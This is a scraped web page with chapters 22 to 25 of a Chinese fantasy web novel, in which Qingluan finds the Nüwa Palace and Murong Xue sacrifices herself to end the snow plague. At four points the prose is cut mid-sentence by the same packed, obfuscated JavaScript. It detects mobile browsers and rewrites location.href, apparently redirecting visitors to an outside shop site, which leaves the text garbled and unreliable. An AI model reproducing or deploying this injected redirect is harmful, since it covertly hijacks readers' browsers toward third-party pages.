l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712373|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劫。”慕容雪远不似青鸾那般乐观:“何况,即便大神尚在,又凭何帮助我们?” “我们的确不知女娲大神是否尚在世间,但可以确定的是,女娲宫尚在,既然如此,那我们便有一半的希望!”青鸾并不是在宽慰慕容雪,她是当真充满希望,“你且在此处等我,我带着小景的魂珠去一趟女娲宫,成与不成,总得试一试才知道。” “可……”慕容雪反握住青鸾的手,欲言又止。 可是前路漫漫,未知吉凶祸福,为了一个在幻境中结识的“朋友”,她何以做到如此地步。 青鸾自然猜得出慕容雪的欲言又止,“我做这些事,并不全然为了小景,也是为了我自己。小景与归魂树乃是引起八荒雪患的关键,我既奉命解决雪患,便一定要做到。” 青鸾探知真相、解决雪患的执念,慕容雪早在幻境之中便感受到了,因此不再多言。她只担心一点,女娲宫避世多年,人人都知它隐于极南瘴气之地,却无一人知晓具体地点,青鸾该如何去寻? 关于这一点,青鸾也别无他法,思来想去还是只得先回一趟青要山,向帝骁求助。 既下决定,事不宜迟,青鸾俯身抱起小兽,同慕容雪告别,立马返程往青要山而去。 雪一如来时那般大,纷纷扬扬的,落了青鸾满肩满头。她的心情却远不似来时那般惶惑沉重了。 空桑雪患的谜题已然揭晓,剩下的,便看她的解决之法是否有用。无论如何,至少她不似预知梦中那般,还未开始便已放弃。 然而这一厢她顶着狂风漫雪匆匆赶路,另一厢怀里的小兽却一点也不安分,从出发开始便一直嘤嘤叫着扭动身子,一个劲儿地想往地上扑。 青鸾忍无可忍,放缓了速度,两只手摁住它,“乖乖在斗篷里睡觉,再不消停我就把你扔到雪地里喂大狌狌去。” 显然这一番威胁并没有威胁到它,它抬起脑袋,眨巴着一双湿漉漉的眼睛,一动不动地注视着青鸾,随后四爪扑腾,挣扎得更厉害了。 “好好好,你若不愿跟着我,那你便走吧。”眼见那小兽不知发了什么疯,无论如何是不会停止折腾了,青鸾干脆落在雪地上,将小兽从怀中拽了出来,故作威胁地转身就走。 却被那小兽一口咬住了裙角。 她停下步子,回首瞪它。 小兽死死咬住她的裙角不肯松嘴,睁着大眼睛倔强地望着她。 一人一兽就这样在雪地中对峙着,半晌,青鸾败下阵来,“我的小祖宗,你到底要做什么?” 小兽嘤了一声,转过身在雪地里深一脚浅一脚地走了两步,然后回头,示意青鸾跟上。 青鸾指了指自己,又指了指它,“你是想让我跟着你么?” 小兽点头。 青鸾不明所以,却还是跟着小兽走了几步。 走着走着,她顿下步子,恍然大悟,“你该不会知晓女娲宫在何处,在为我引路吧?” 话音落地,小兽似乎为青鸾的迟钝叹了口气,扭过脑袋,重重地点了点头。 青鸾确信,她在一头小兽脸上看到了绝顶无奈的表情。 22. 青丝雪 “真没想到,你竟然知晓女娲宫现在何处,幸而我没在半途将你烤了,否则此刻我恐怕还冒着风雪,在赶回青要山的路上呢。”青鸾跟在小兽身后,心情颇佳地喋喋不休着。 那小兽却是听得一个踉跄,在雪地里翻滚了一圈,爬起来后扭过脑袋,无比哀怨地望了青鸾一眼。 敢情他们在空桑山上一起经历了那么多,它以为青鸾已然将它当成自己人了,却没有想到,她竟然还打着这个主意,想要将它烤了?! 青鸾不好意思地笑了笑,一边腹诽这小兽的面部肌肉怎么这般发达,表情也忒丰富了,一边捋捋它的毛安慰道:“你也别怪我嘛,要知道这个世界就是这般弱肉强食的,你知不知道你的脸上其实写着几个大字?” 小兽停下步子,挑了挑眉毛,私以为她嘴里应该吐不出什么好话来。 “你的脸上就写着,吃了即可修为大涨这几个字呀!幸亏你遇见的是我,倘若遇着的是别人,恐怕现在只剩下一张好皮草了。唔……我可不是吓唬你,这个世界就是这样危险的。”果然不是什么好话。 小兽不理会她,甚至翻了个白眼,扭过头继续赶路。 “你帮了我一个忙,以后我便养着你吧,好不好?”见小兽不理她,青鸾倒也不觉得她是在自说自话,依然兴致高昂,甚至张罗着想要给小兽起一个名字:“既如此,便需得给你起一个名儿了,给你起个什么名字好呢……” 说到这里,她不再出声,默默良久,倒可以看出来她的确是在认真给小兽取名的。 不知过了多久,方闻她沉吟着开口:“我瞧着,你这一身皮毛蓝蓝的实在好看,这也算是你的特点了,不如就叫你小蓝罢?” 这便是她思前想后想了好一阵子才想出来的名字?小蓝耷拉下耳朵,又踉跄了一下。 如此这般,青鸾和小蓝马不停蹄地往极南之地赶,虽只有一人一兽,倒也不觉孤单。 不仅不觉孤单,小蓝甚至颇感聒噪。 “小蓝,你是不是觉得我有些吵啊?”青鸾跟在身后问它。 小蓝摇了摇脑袋。何止是有些?简直是极其! 青鸾见它摇脑袋,似乎甚感宽慰,“你不嫌我吵便好。我就是这样的,其实倘若人多,我反而不大说话,若是人少,尤其如现在这般,只有我们两个,我便忍不住想说话。否则,便觉得太安静了些……” 显然对于小蓝拼命摇脑袋这回事,青鸾并没有理解到位,依然絮絮叨叨地自说自话着,剖析自己在人少的时候忍不住说话,到底是个什么心理。 小蓝却没有没工夫听她深入剖析自己的心理,它将耳朵直直地竖起来,表情很是警惕,连步伐也放缓了许多。 青鸾注意到了它的变化,将自己的声音压低:“小蓝,怎么了,我们快到了么?” 小蓝嘤地应了一声,靠近青鸾脚边,紧紧贴着她。 四周瘴气渐深,一团又一团的浓雾环绕在眼前,令人伸手不见五指。显然,他们已至极南瘴气深林。 青鸾下意识抬起手捂住嘴,屏住呼吸。却见小蓝闭上眼睛,眉心闪烁起浅浅的光芒,下一瞬光华大涨,将青鸾完全包裹住,像活物一般,一呼一吸间,把萦绕在她身边的瘴气都驱散。 青鸾诧异地望着它:“小蓝,你到底是什么来路……” 小蓝面色沉静,带着她继续往密林深处走,每走一段路,便会停下来四处观望一番。就这样走走停停,终于在行至一处开阔地带时,停下了步伐。 满是瘴气的密林里陡然现出这样一片空地,自是不同寻常,青鸾凝神屏息,忽见身侧浮现出金色华光,在空中铺展开来,形成一道长长的光墙。 光墙之上,有细碎浮尘,被不知从何处吹来的风拂动着,竟在那光墙上雕琢出一幅幅金碧辉煌的壁画来。 小蓝长久地驻足在原地,仰首望着那些画,一向湿漉漉的眼睛里,浮现出某种深沉不可名状的情绪。 “难道这便是女娲宫了?”青鸾问。 小蓝点了点头,迈开步子,慢慢地往前走。 青鸾被光墙上的画所吸引,一边跟着小蓝走,一边扭过头观察着那些仿佛记载了亿万年间历史的壁画。 是的,这样长的一道光墙,似乎是以壁画的形式,记录着上古传奇。 有许多耳熟能详的传说刻画于上,当然也有一些她从未听说过的故事,迈过光阴长河,静静地悬浮于光墙之上。 青鸾沉醉于这些传奇的故事之中,不记得跟随小蓝走了多久。走着走着,她猛然发现眼前的一幅壁画,不复璀璨光华,整幅画的色调阴沉黑暗,令人瞧着觉出一种透不过气来的压抑。 她停下步子,仔细打量这一幅与众不同的画。 画面中,残颓的屋宇与遍地的尸殍,都笼罩在极浓的黑雾之下,那黑雾里还透着隐隐约约血腥的红。亦或许,那是萦绕了亿万年也不曾彻底散去的血腥之气。 显然,这幅壁画记载着一场让后人无可想象的上古灭世之灾。 所幸,在那一片死气之中,尚有一抹生机存在。 她瞧见画面的角落里,有一道与这幅画的基调极为不符的,极富生命力的,热烈张扬的红。 她眯了眯眼,隐约可以瞧出,那一道红色身影,属于一个年轻少女。 那少女似乎被一股力量逼压得单膝跪地,却依然挺直了脊背,倔强地仰起头。倘若仔细去看,还能发现她持刃的双手已然骨节泛白,不知是否大战落败后,依然紧握着武器不肯松手。 青鸾瞧着,忽觉心口一痛,随即心脏猛烈地跳动起来,好像要从她喉间跃出来。 她抬手用力抚住心口,不知是否盯着那少女瞧得太久,竟瞧出了幻觉来。 她感到画面中铺天盖地的黑雾仿佛活过来了一般,在天地之间翻涌着奔腾着,甚至一点点地往外溢着,好像要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712374|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溢到这个世界中来。红衣少女凌乱的发在浓烈的黑雾中飞扬,她嘴角流出的鲜血有一种刺目的红,刺目得倒不像是血了,而是一簇簇的火光,在黑暗中灼灼燃烧着。那一抹红仿佛点燃了青鸾的心火,于是她的眼中也映出一抹火光来。 星星点点的火光中,飞舞着破碎的彼岸花花瓣,花瓣掠过少女的指尖,燃烧着向天际飞去。 青鸾这才将目光从红衣少女身上移开,顺着花瓣飞舞的方向,发现在画面的另一个角落里,刻画着一抹与那少女截然相反的淡蓝色身影。 那也是一个女孩子的身影,却全然不是人类的模样,也不同于青鸾所知的任何一个种族。 她虽裹着纱似的淡蓝色衣衫,却是人身蛇尾,看起来与女娲大神的形象有些相似,头顶却又生着鹿一般的角,脸上还嵌着双小鹿般湿漉漉的眼睛。 瞧着这双好看得有些惊心动魄的眼,青鸾竟觉出一种莫名的熟悉感,她看着她眼中蓄着的沉静亘古的蓝,好像已这样看了千万年。 情绪蓦地平静下来,心脏也不再如方才那般疯狂跳动,青鸾仿佛溺在深海后终于被捞出水面的人,重重地吸了口气,在将目光移到小蓝身上时,她突然就明白方才那股莫名的熟悉感来自何处了。 细看起来,小蓝头顶的鹿角,以及它小鹿般湿漉漉的眼睛,与那画面当中的神女格外相似。 虽不知那蓝衣少女到底是谁,但青鸾总觉得,她身上有一种独坐高台之上不染凡世尘埃的神性。是青鸾在现今诸神身上,哪怕是帝骁身上,也不曾见过的神性。 却见小蓝抬起前爪,奋力搭在光墙之上,目不转睛地注视着那悬于半空之中的神女,它的眼中似乎浸了些泪,与光墙上的细碎浮尘一齐闪动着。青鸾看不真切。 但小蓝显而易见是有些难过有些伤心的,亦或许不仅仅是有些而已,青鸾有意想要宽解他,于是走过去,将手搭在它的脑袋上,“她是谁?我瞧着,或许是你的先祖?虽不知光墙上记载着过去怎样一场灾难,但好在都过去了,我想,你应该以她为荣。” 这一番宽慰的话都是青鸾根据光墙上刻录的画面自己揣度的,其实她也不知自己揣度得对是不对。不过在听完她这番宽慰之语后,小蓝的眼神显而易见更加忧郁了,显然她揣度得并不大对。 却又不知问题出在哪里,她将目光再次移到光墙之上,意欲重新揣度一番,却见那些壁画齐刷刷消失不见,留下一片空地,仿佛从来不曾出现。 随着那道光墙的消失,眼前凭空出现一个高台,高台之上,端坐着一位全身都散发着辉光的女子,她盘坐台上,似乎并没有为眼前的不速之客所扰,反而垂首慈怜地望着他们,眼中萦绕着悲悯。 青鸾神往道:“您就是女娲大神?” “女娲大神?”那女子重复了一遍青鸾的问话,仿佛这是一个她已太久不曾听闻的称谓,然后,她微微笑道:“大神早已神隐。” 23. 青丝雪 青鸾曾听帝宣讲过一段自上古时代至今的神仙史。须知天上地下的神,分为远古之神与现世之神,远古之神又分为先神和后神。 先神或由天地化生而来,或干脆自虚空而至,总之,皆无父无母,无亲无眷。譬如上古史中所载的部分先神,有的从天地之间自然化生,其化生之地往往仙泽磅礴,为后人口耳相传,争相供奉,而有的先神并无化生之地,只是在某个很模糊的日子里,骤然现身于世,这样的先神便被人记载为自这个世界之外的某处虚空而至。 传闻这样的先神不仅完全掌控自然之力,甚至还可创造一些本来并不存在的东西,已经到达创世级别的先神们,其神力自然不可与现在的神仙同日而语。 至于远古之神中的后神,便由这些先神们孕育而来,他们虽不同于父辈那般,由天地化生,自虚空而至,拥有后世难解的神秘力量,但至少身体里流淌着父辈先神的神力,因此其力量也远超现世之神,拥有毁天灭地之能。 只是,随着时间的流逝,后神们代代繁衍,却恐惧地发现每一代的神力都远远逊于上一代。虽他们有意不与后天修炼而来的仙神结合,以免玷污血统,其子嗣只能由后神与后神孕育而来,但来自父辈先神的神力,还是不可避免的在这些后神子嗣的身上一代又一代地衰减着。 亿万年的时光过去了,在这漫长的光阴之河中,后神里面倒也不是没有出现过神力大涨赶上先神,甚至超过先神的例外,只是这样的例外需要达成一个条件,那便是应天之劫后还能幸存下来。 应劫,似乎便是这些后神自先辈身上继承神力后必须面临的考验。这是一种平衡,也是阴阳调和之道,天底下从来没有真的能够不劳而获的事,青鸾记得,帝宣曾这么同她说过。 应劫之后还能存活下来的后神,便会觉醒血脉中真正的先神之力,他们已不再是仰仗父辈获取力量的后天之神,而是通过了上天考验,拥有属于自己的创世力量的神。然则,这样的神少之又少,千万年来恐怕也出不了一个,绝大多数的后神,皆是在自己的天劫到来那日应劫身殒,魂飞魄散。 因此代代相传的后神们大多应劫消陨,待至如今,依然存活于世的后神不过那寥寥几位。 现如今天宫之上,反倒是由后天修炼而来的神仙居多,这些自己修炼飞升的神仙们便被称为现世之神。据说第一位经过修炼白日飞升的小仙,为仙多年不曾懈怠,持之以恒地于仙法一道深而耕之,终于在某一日大彻大悟。 悟了之后他便去九重天上最高处,寻那位最厉害的后神打架,约定若他输了,甘愿从九重天诛仙台跃下,若他赢了,便也要一个神之称号,从此不再屈居于那些后神之下。 想来在曾经那个时代,凭自己的努力修炼为仙的人或妖或精怪,都是被后神们所瞧不起的,即便已经为仙,也是生物链最底端的被踩在脚底下的仙。 不知那位寻后神打架的人在为仙时到底受了多少委屈多少欺压,才会拎着一把剑愤而闯上九重天。总之,无论如何,那一场架他打赢了。 从此,即便是后天修炼而来的仙,亦有了封神的资格。 只是这些凭自己修炼而来的神仙们,素质良莠不齐,与那位第一个闯上九重天宫的神相比,便是大大的不如了。并且,他们虽已为神为仙,但或许从根上而言少了那些远古先神们自天地之间化生而来的一股先天之气,他们如同人类一般,是有寿命限制的。或百岁,或千岁,或万岁,百万岁,现世之神寿命有长有短,短者几百年,长或百万年,最终都是一个羽化的结局。 便如人类,死如灯灭。 因此,现世之神有大限,注定羽化;而后神们有考验,注定迎劫。无论当下如何呼风唤雨,最终都如人类一般,生命有个起止。算来算去,唯一不用面对死亡,或许当真与天同寿的,便只有那些远古先神了。 他们的生命没有终点,倘若消逝了在世的痕迹,那只有一种可能,便是他们自己选择隐居或是离开,如此这般,便被后人称为神隐。 “女娲大神是最后一位神隐的远古先神,至此,在这一方天地里,再也没有任何一位先神了。”那盘坐于高台之上的女子缓缓道:“大神之所以拖到最后方才神隐,乃因她放心不下人类。” 她的眼中的确是有悲悯的,尤其在说到女娲大神放心不下人类时,眼中的悲悯如同一阵风一汪泉,轻拂而来,拂得青鸾心里湿答答的。 她继续道:“大神建好女娲宫,筑成女娲石,从自己体内剥离出部分女娲之力,令我守在此处,等待她的传人。待女娲后人现世,我将传其女娲之力,从此女娲后人代代繁衍,继承大神之力,继续她在世间的职责,亦是女娲后人们唯一的职责——守护人类。” 青鸾闻之动容:“那你等了多久?还没等来可以继承神力的女娲后人吗?” 女子摇了摇头,却是扬起唇角,“我已不记得在此处等了多久,但我已经感受到了,女娲后人现世,不过百年之间。”顿了顿,她望着青鸾道:“之所以同你说这些,乃因这件事最终也许会着落在你的身上。” “着落在我的身上?”青鸾不可思议,指了指自己。 女子颔首,随后抬手一拂,消失的光墙重新出现在青鸾面前。 “你方才驻足凝视的那一幅壁画,所记载的乃是这片大陆上最混乱不堪的时代,也是先神云集的一个时代。画面中那场灾难出现时,甚至连女娲大神都还未降世。可以想见,在那样一个时代里,集诸先神之力都不能消解的灾难,到底有多可怖。”说到这里,她目光里有些许幽深,似乎也在遥想当年的场景,“其实,人们最终也不知那一场灾难到底是如何化解的,又是怎样的一股力量,为灾难之后死寂的世间重新带来生机。只知道从此世间流传着一句话,从来救世者,不在于救世之能,而在乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712375|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救世之心。”她将目光重新落到青鸾身上,“方才你凝视那幅壁画时,我便感受到了,一颗罕见的,真正的救世之心。” “不过,女娲后人虽着落在你身上,但你还不是大神令我等待的那位命中注定的女娲后人。”言及此处,她话锋一转:“此世,你还有别的使命。今日与你相遇,同你说这番话,乃因你与女娲宫之缘,也因我想从你身上种一个机缘罢了。” “此世我有何使命?”青鸾忍不住问。 “那便是天机不可泄露了。”女子笑问:“此番,你千里迢迢来到女娲宫,可有所求?” 青鸾知晓,无论是她此世注定背负着的使命,还是着落在她身上的女娲后人,这些事情在今日都是问不出个结果来的。那便顺其自然吧,她向来不是个苦苦纠结的人。便也不再追问了,很痛快地同那女子道明来意。 其实她原以为女子会直接拒绝,至少,不会太过轻易地让他们达到目的。 却没有想到,那女子只是微微一笑,双手拈了个诀,随后掌心一翻,幻化出一朵金色的莲花来。 花瓣徐徐舒展,于最盛处绽出耀眼光华,随后金莲消失不见,取而代之的,是女子怀中抱着的熟睡婴孩。 青鸾惊叹于眼前发生的一切,立时凑上前去。只见那婴儿粉雕玉琢,乖巧地卧于臂弯之中,十分可爱。 女子示意青鸾将魂珠取出,只轻轻挥了挥手,魂珠便径直朝她怀中的婴儿飞去,不等青鸾以修为渡之,自己便钻进了婴儿身体里去。 光芒倏地一闪,原本如瓷器般精致但没有生气的孩子,瞬间红润了面庞,不再如冰冷瓷器,而像是软绵绵的云朵。 “这便是小景的新肉身了?”青鸾觉得太过奇妙,也太过轻易,有些不可置信。 直到自女子怀中接过那软软的婴孩,她都还未完全反应过来,出发前她与慕容雪百般担心的这一桩事,就这样顺利结束了。 “快回空桑山去吧,这百年间的雪患,也该有个了结。只叹从古至今,神仙精怪之间的恩怨何其多,受牵连的却从来都是凡人。”女子的声音愈来愈远,好似从他们的身边往遥不可及的虚无中去,与此同时,她的身形也与那座金色的高台一起渐渐消失不见。 青鸾抱着怀中婴孩站在原地,觉得有些怅然。 诚如那女子所言,自古神仙打架,凡人遭殃。譬如这次蔓延至四海八荒的雪患,起因便是华胥慕容氏与梅宗之间的恩怨,其间还搅和进青丘之国,以及一位神秘莫测的神君。但这百年之间,最为无辜也最为凄惨,受雪患影响最深的,便是手无缚鸡之力的凡人了。 思索间,忽觉脚畔传来毛绒绒热乎乎的触感。青鸾低头一看,发现小蓝正扬起脑袋,一下一下地蹭着她。 她感觉自己读得懂小蓝眼神中的意思,于是点点头,释然一笑:“无论如何,这件事情终于有了着落,我们快回空桑山去吧。” 24. 青丝雪 空桑山上的这一场雪好似要不止不休地下到世界尽头去。 整个世界都是一片茫茫的白,慕容雪置身这样的荒凉之中,头一次感到万物寂灭是这般肃然可怖。 她是始作俑者,也是这场大雪的陪葬者。她同那些被这场大雪吞噬的亡灵并没有什么分别。 银发的神君漠然立于慕容雪身侧。他正微微仰首,注视着参天的归魂树。 良久,他的眼中逐渐浮现起莫名的情绪,似有欣慰,又似痛苦,好似还有些不可置信。 他对慕容雪说:“其实,当初将这棵归魂树交予你时,并没有料到你会将它养得这样好。” 慕容雪听到他的声音,本能地微微一颤,又立马将背挺直。她努力让自己在他面前显得不那么不堪,“我没有供养这棵归魂树,我守护的从来只是小景。” 神君闻言,嘴角勾起一抹笑,那笑容里却多是讥讽之意,“随你怎么说。”他显然不欲与她多辩,抬手一招,竟将那棵参天之高的归魂树收回囊中。 取走归魂树后,他无丝毫滞留之意,转身欲走,却被慕容雪唤住。 “所以,你从一开始就是为了这棵归魂树?” 初时,她的神情尚有些茫然。慢慢地,她想明白了许多事情。 这许多年来,她活得浑浑噩噩,从未有一刻如现在这般清醒过。 “原来如此,原来如此……我将小景的肉身养在这棵归魂树下,千辛万苦养到如今,那副身躯却是连他自己的魂珠都容纳不了。原来是因为你从来不曾想要帮我,甚至不是为了挑起青丘与华胥之乱,更不是为了帮英小小取得凝魄珠,而只是为了让我心甘情愿地,耗尽毕生功力,背负天下骂名,来为你供养这棵归魂树。” 她长长地吐了一口气。 如此想来,也许他对她说过的唯一一句实话,便是将归魂树赠予她时曾言的,此树乃雪族遗失千年的圣物,早已枯萎没了神力,需得雪族中人以精魂灌养,方有可能使它重新生长。 这么多年来,她便也真的以精魂灌养,为他人做嫁衣裳。 “可是,为何如此大费周章,为何要选我……” 她的声音破碎在呜咽的风声中,拂过银发神君的耳畔,使他微微蹙了蹙眉。 其实无论是面对她的质问,抑或被她一语道破真相,他的神色都平静如水,不曾流露出任何情绪。但在听到她这句喃喃不解的询问时,他露出了不加掩盖的嫌恶之意。 “因雪族自诩天族旁支,从不与别族通婚,所有雪族人身上都流淌着天族所谓的最纯粹的血。”他拂袖转身注视着慕容雪,目光凌厉,戾气逼人,“唯独你母亲是一个例外。她嫁与妖族生下了你,你的血液里流淌着的不是天族所谓最纯粹的血。” 说到这里,他似乎是笑了。随着转瞬即逝的笑意一同隐去的,还有一瞬间暴涨的,怎么也掩饰不住的阴戾。 他继续说:“因此,你的血稍稍干净一点。不至于脏了本君的归魂树。” 慕容雪注视着他,半晌,道:“你究竟是谁?” 他并没有做出回应,而是将目光移开,望向不远处正在快速移动的黑点。 那是青鸾带着慕容景新的肉身归来了。 饶有兴致地注视了她片刻,他轻轻地道:“空桑这一场闹剧,是时候结束了。”话音尚未落地,他的身形已然不见。 他究竟是谁,有何目的,慕容雪已无机会,也无心思知晓了。此刻她亦将目光投向正在踉跄着上山的青鸾,几乎僵在了原地,就这样一动不动地,安静地注视着她。 青鸾怀抱着慕容景,怕肆虐的风刮伤婴儿娇嫩的脸蛋,因此不敢御风而行,用羽衣裹着他,一步一跃地往山上赶。因着心急,她跑得踉踉跄跄。 待奔至慕容雪跟前时,她才喘了口气,放慢步伐,冲慕容雪扬起一个笑:“我们做到了,他回来了。”她将羽衣掀开,“你看,这是他,对不对?” 慕容景安安静静地躺在青鸾怀里,不曾哭闹,只是睁着漆黑的眼睛,打量着站在他面前的慕容雪。 慕容雪依然怔怔的,反应了好一会儿,才从青鸾怀中接过襁褓里的婴儿。她沉默地与他对视着,然后,微微颤抖地,极慢极慢地俯下身子,用鼻尖蹭了蹭他的额头。 触碰到他的那一刻,她忽然笑了。 那样温暖的笑容,好像能融化十二月的冰雪。 她轻轻摇晃起身子,模仿着遥远记忆中母后的姿态。很小声地,她唤他阿景。 听到她的声音,怀抱里那小小的婴儿也笑了。他伸出手,抚了抚慕容雪的发,轻轻地晃着胳膊,目不转睛地注视着她。 慕容雪将他贴在怀里,轻声地,无比眷恋地道:“小景好乖……”她闭上眼,像是在这几秒钟的眷恋里下了什么决心。再睁开眼时,她的目光变得坚定。 她做下一个决定,于是将慕容景重新交给青鸾,尔后坚定地放了手。 青鸾在一旁看着,觉得心口生出些细碎的疼痛。在接过慕容景时,那些疼痛的感觉蔓延至全身,她禁不住落下泪来。 “有劳你最后一次,将小景送回华胥。他的使命还未完成,他的生命不应在空桑终结。” 慕容雪说这番话时的神情和语气,是那样决绝坚毅,令青鸾想起曾在她的梦境中窥见的那个雨夜。 在那个雨夜里,慕容夫人燃烧心火阻拦众妖。彼时灼灼火光烧红了半边天,那样纤瘦的身影,立于火光最盛之处,宛如一只振翅欲飞的蝶。 此刻在慕容雪的身上,青鸾再次瞧见了慕容夫人的影子。 只见她背过身去,极缓地走了两步,而后顿住步子,猛地回过头来,最后一次望向慕容景,“小景,以后都不用再怕了,阿姊就在这里,阿姊会永远保护你。” 她的声音很快淹没在风雪里,但她的每一个字都说得郑重。 说完,她头也不回地朝着空桑山顶奔去。 风雪似乎更大了,铺天盖地地狂舞着。她就这样转身没入漫天的风雪里,一身白衣一头白发,宛如一粒尘埃,跌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712376|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跌撞撞却坚定不移地奔向自己的结局。 青鸾赶紧将慕容景藏在羽衣之下,抱着他朝慕容雪离开的方向追去。 可是雪实在是太大了,青鸾很快迷失了方向。就在她一度觉得被风雪裹挟着快要呼吸不上时,慕容雪的声音轻飘飘涉过风雪,轻盈地拂过她的耳畔。 “苍天在上,空桑之雪因我而起,四海八荒,无数生灵因我殒命。我愿自绝于此,不入轮回,不生不灭,永世于斯,以赎吾罪。” 话音在耳畔消散之时,原本呼啸的风雪骤然停息,空桑山瞬间变得寂静无声。 于天地寂寂里,青鸾看见了俯首跪拜的慕容雪。 良久,她直起身,额间闪烁着晶莹的神秘图腾。 青鸾曾听帝宣谈起过,每个种族都有属于自己的图腾,而每个不同的图腾,都象征着不同种族所能驾驭的力量。 雪之一族,乃掌控自然之力的天族旁支,尤擅控雪,其族名便由此而来。 因此,青鸾虽然不曾见过雪族图腾,此刻却能够猜到,慕容雪额间那闪烁着微光的晶莹图腾,想必便是代表着她母族控雪之力的神秘符号。 慕容雪这是要以身献祭,来终结这一场长达百年、蔓延八荒的风雪。 青鸾抬步想走向她,却觉得身体前所未有的沉重。她踉跄了一下,险些抱着慕容景一起跌倒在地。 空桑山顶,慕容雪的身形逐渐变得透明,她的衣衫和发梢一同在空中飞舞。她仿佛要化作一阵风,永远地盘桓于空桑山上。 天与地俱是一片纯白,青鸾想起在幻境中初见这个女子时,她是那样鲜活,仿若盛开在冰天雪地里的一株梅。 似乎感受到了慕容雪生命的消散,慕容景突然哭出声来,朝空中伸出手,像是要努力抓住什么。 青鸾抱着他,紧紧咬住嘴唇,一动不动地注视着空桑山顶。 不消片刻,慕容雪便彻底消散于天地之间。她仿佛破碎成了一缕微光,又仿佛果然化作了一阵风,轻轻地在山间盘旋。 那阵风轻轻拂过青鸾的面庞,温暖潮湿,带着人间二月的气息。 就在这一瞬间,青鸾确信,她最后一次听到了慕容雪的声音。 她对她说:“青鸾,谢谢你。没想到我这样的人,也能得到救赎。” 青鸾突然觉得再也抑制不住心中的悲恸,她站在原地,哭得伤心。 小蓝如影随形跟在她的身侧,见她这样难过,不住地用脑袋拱她。 青鸾低头看它,抽抽嗒嗒:“小蓝,为什么,为什么我会这么难过?我原本是不想哭的,可是它……可是它……”她指了指自己的心口,“可是它这样难过,难过得不受我的控制。” 小蓝仰起头,皱着眉头望着她,嘤了一声表示理解。 天放晴了,青鸾的眼泪在阳光下闪烁着光辉。她垂首哭着,分明那样伤心,却好像整个人都发着光。 空桑山没有回应她的哭泣,它沉浸在百年不曾有过的安静里。 雪真的停了。 25. 第二卷·桃花盏 雪停了。 送走这一场持续了上百年的大雪,四海八荒终于迎来了久违的春色。 空桑雪患已彻底解决,但在从华胥国回青要山的路上,青鸾却不见喜色,而是出奇的沉默。她安安静静赶路,小蓝则亦步亦趋跟着她。 “你知道吧,我原本是想吃了你的。”似乎离青要山愈近,青鸾的心情反而变得愈加沉重了。行至一半,途经羭次山时,青鸾忽然道:“现如今虽说我不打算吃你了,但毕竟回青要山后,事情又不一定是那么回事儿了。” 小蓝打了个哆嗦,抬起脑袋可怜巴巴地望着青鸾。 青鸾赶紧把他抱起来,安抚他:“你放心你放心,帝骁肯定是不会吃你的。他从来不吃莫名其妙的东西,怕不干净。” 不吃莫名其妙的东西,怕不干净……小蓝听着,瞬间把毛茸茸的尾巴耷拉下去了。她还不如不安抚呢。 虽说雪停了,但一路上尚有些积雪未化。青鸾在树底下走着,偶尔抬手薅一把头顶不远处的树枝,拂落一地积雪。 “虽说他不会吃你,但也正因你来路不明,他肯定会拒绝让我将你带入青要山的。”说着说着,她面色更愁,眉毛都拧在一块儿了。 她将小蓝举起来,拧着眉毛注视着它,“小蓝,你可怎么办呀?” 真没想到,她这一路上愁容不展,竟是这么个原因。小蓝顿觉心里暖暖的,耷拉下去的尾巴又高高地竖了起来。 “其实,这样一想,我回青要山中,是万般的不自在。”青鸾面上流露出疑惑之色,“我不得将外物带入山中,也不得擅自离开青要山。帝骁他总是这也不许,那也不准的。” 此番空桑之行,她似乎是体验到了从未体验到过的自在,因此有些意犹未尽,“小蓝你说,我们若是自立一个山头,不再寄人篱下,会不会比现在自在许多?” 小蓝听得眼睛都发光了。它不停地甩尾巴,好好好,自立山头自立山头自立山头…… “可是,跟帝骁在一起,怎么能算是寄人篱下呢。”青鸾因想到自立山头而神采奕奕的面庞又黯淡了下去,“虽不知未来到底会如何,但至少一直到现在,他都是待我很好的。他还说过,希望我一直陪着他……” 小蓝的尾巴再一次地耷拉了下去。 它歪着脑袋,看着青鸾,满脸恨铁不成钢。 “小蓝你别这样看着我,我已经打算好了。我……” 青鸾还未来得及说出她的打算,冷不防被人用力一撞,跌跌撞撞向前扑了几步,差点将手中的小蓝扬了出去。 那群撞了她的人没有停下步伐,一边回过头冲青鸾招手,一边马不停蹄地往山里跑,“姑娘,别愣着了,快点跑吧!” 